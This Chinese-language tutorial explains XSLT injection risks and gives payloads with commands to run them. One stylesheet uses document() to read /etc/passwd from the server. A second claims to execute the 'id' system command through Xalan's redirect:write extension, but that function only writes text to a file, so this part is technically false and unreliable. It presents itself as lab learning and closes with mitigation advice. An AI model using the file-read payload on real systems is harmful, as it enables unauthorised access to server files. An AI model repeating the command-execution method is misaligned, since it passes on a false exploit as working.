xslt注入

XSLT注入是一种Web应用程序安全漏洞，类似于SQL注入。这种攻击利用应用程序中对用户输入缺乏适当的验证和转义，将恶意XSLT代码注入到应用程序中，导致执行未授权的代码或访问敏感数据。以下是XSLT注入可能导致的一些安全问题：

1. 任意代码执行：攻击者可以注入并执行任意的XSLT代码，包括XSLT 1.0和2.0的扩展功能。如果XSLT处理器允许执行外部函数或扩展，攻击者可能会执行系统命令或脚本。

2. 信息泄露：攻击者可以通过XSLT注入访问和读取原本不可见的数据。使用XSLT函数（如document()函数），可以从服务器上读取其他文件或从其他资源获取数据。

3. 拒绝服务（DoS）：恶意的XSLT代码可能包含无限循环或递归，导致服务器资源耗尽，从而使应用程序无法响应正常请求。

4. 服务器端请求伪造（SSRF）：XSLT处理器可以通过document()函数访问外部资源。攻击者可能利用这一点来访问受限的内部资源或向外部服务器发送请求。

XSLT注入攻击的具体实现依赖于目标系统的配置和使用的XSLT处理器功能。为了学习目的，以下是一个简单的XSLT注入示例，这个示例假设目标系统允许使用document()函数访问外部资源。

假设目标XML文档是：

<root>
  <data>Some data</data>
</root>

恶意的XSLT样式表（Payload）可以是：

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

  <!-- 读取文件系统上的敏感文件 -->
  <xsl:template match="/">
    <xsl:variable name="file" select="document('file:///etc/passwd')" />
    <xsl:copy-of select="$file" />
  </xsl:template>

</xsl:stylesheet>

解释

1. <xsl:variable name="file" select="document('file:///etc/passwd')"/>：
   • 使用document()函数读取文件系统上的/etc/passwd文件（假设目标系统是类Unix系统）。
2. <xsl:copy-of select="$file"/>：
   • 输出读取的文件内容。

实验环境设置

为了在受控环境中进行测试和学习，您可以使用以下步骤：

1. 创建XML文档：保存上面的XML文档内容到input.xml文件。
2. 创建XSLT样式表：保存恶意XSLT内容到payload.xsl文件。
3. 执行转换：使用命令行工具（如xsltproc）或编程语言（如Python）执行XSLT转换。

xsltproc payload.xsl input.xml

要在XSLT注入中执行系统命令（如id命令），需要利用XSLT处理器的扩展功能，因为标准的XSLT 1.0和2.0规范不支持直接执行系统命令。不过，一些XSLT处理器（如Saxon和Xalan）支持扩展函数或允许调用外部脚本，这可能会导致任意代码执行。

以下是一个使用Xalan处理器的示例，展示了如何通过XSLT注入执行id命令：

示例XML文档

<root>
  <data>Some data</data>
</root>

恶意XSLT样式表

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:redirect="http://xml.apache.org/xalan/redirect">
    
    <!-- 使用Xalan扩展函数执行系统命令 -->
    <xsl:template match="/">
        <xsl:variable name="cmd" select="'id > /tmp/xslt_injection_output.txt'" />
        <xsl:value-of select="redirect:write('file:///dev/null', $cmd)" />
    </xsl:template>
    
</xsl:stylesheet>

解释

1. xmlns:redirect="http://xml.apache.org/xalan/redirect"：声明Xalan的重定向扩展命名空间。
2. <xsl:variable name="cmd" select="'id > /tmp/xslt_injection_output.txt'" />：定义一个变量cmd，其中包含要执行的系统命令id，并将输出重定向到/tmp/xslt_injection_output.txt文件。
3. <xsl:value-of select="redirect:write('file:///dev/null', $cmd)" />：利用Xalan的重定向功能执行命令，将结果写入指定文件。

执行转换

在受控环境中，使用Xalan处理器执行转换：

java org.apache.xalan.xslt.Process -IN input.xml -XSL payload.xsl -OUT output.xml

查看结果

执行命令后，您可以查看输出文件/tmp/xslt_injection_output.txt中的结果：

cat /tmp/xslt_injection_output.txt

安全提示

这种方法利用了特定XSLT处理器的扩展功能，因此在不同的处理器上可能需要不同的实现方式。请务必在安全、受控的环境中进行测试，并且不要在未经授权的系统上使用此类攻击。防止XSLT注入的最佳实践包括验证和清理用户输入，禁用不必要的功能，使用最小权限原则，以及选择安全的处理器库。